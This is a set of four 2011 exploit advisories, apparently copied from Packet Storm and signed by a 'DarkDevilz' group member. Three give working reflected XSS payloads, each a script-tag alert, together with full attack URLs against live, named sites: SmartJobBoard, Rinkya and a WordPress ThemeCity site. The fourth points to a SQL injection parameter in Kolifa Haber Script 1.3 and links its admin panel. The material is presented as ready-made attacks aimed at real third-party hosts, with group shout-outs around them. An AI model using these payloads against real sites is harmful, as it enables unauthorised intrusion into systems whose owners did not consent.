SmartJobBoard Cross Site Scripting

# Exploit Title: SmartJobBoard XSS
# Date: 05.11.2011 - 18.14
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Win7
# Platform: Php

-------------------------------------------------------------


DEMO:
http://www.smartjobboard.com/demo/search-resumes/

Keywords : Enter

http://www.smartjobboard.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n - ALEXTRAX - sanTiq0
Deathless - ZyX - Tarxes
53rh4+ - bLaCk_uMo - PeRs
syntaX - Mavi_Karalik - DarkCOD3R
x-Leader - Cyborg - Y2J

~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#

http://packetstormsecurity.org/files/106637/smartjobboard-xss.txt

Rinkya Cross Site Scripting

# Exploit Title: Rinkya Cross Site Scripting
# Date: 22.10.2011 - 17.52
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php

-------------------------------------------------------------

search.php

http://www.rinkya.com/membership/search.php

"><script>alert("DDz Mr.PaPaRoSSe")</script>

http://www.rinkya.com/membership/search.php?sType=Auction&s........

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n     -  ALEXTRAX      -  sanTiq0  
Deathless  -  ZyX           -  Tarxes
53rh4+     -  bLaCk_uMo     -  PeRs 
syntaX     -  Mavi_Karalýk  -  DarkCOD3R

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]

WordPress ThemeCity Cross Site Scripting

# Exploit Title: WP ThemeCity XSS
# Date: 21.10.2011 - 19.05
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Demo : http://www.steveledwards.com/

Search Box
"><script>alert("DDz Mr.PaPaRoSSe")</script>

http://www.steveledwards.com/?s=%22%3E%3Cscript%3Ealert%28%22DDz+
Mr.PaPaRoSSe%22%29%3C%2Fscript%3E&submit=Search

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# We attempted to work, you can not imagine.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Contact: paparosse.blogspot.com
# Greetz: Http://DarkDevilz.in/
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Mr.PaPaRoSSe  Black_Umo  ALEXTRAX  Brs_BaRoN  ZyX  x-Leader
DARKCOD3R  Santiq0  53rh4t  PerS   3spi0n  syntaX

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 

 packetstorm

http://packetstormsecurity.org/files/106071/wpthemecity-xss.txt           

Kolifa Haber Script 1.3 SQL Injection

# Exploit Title: Kolifa Haber Script 1.3 SQL
# Date: 08.10.2011 - 20:36

# Author: Mr.PaPaRoSSe

# Download Script: http://scripti.org/demo.php?id=97
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Vunl file : show.php

Exploit:

http://localhost/haber_pro/kategorigoster.php?kat_id=SQL injection

Panel:
http://haberpro.awardspace.com/haber_pro/admin/admingiris.php

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# We attempted to work, you can not imagine.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Contact: paparosse.blogspot.com
# Greetz: Http://DarkDevilz.in/
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
' 3spi0n ~# Black_Umo ALEXTRAX Brs_BaRoN ZyX x-Leader
L4NETLY GrayTendriL DARKCOD3R Santiq0 53rh4t PerS Mavi Karanlik Tarxes

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>



http://packetstormsecurity.org/files/view/105624/kolifahaber-sql.txt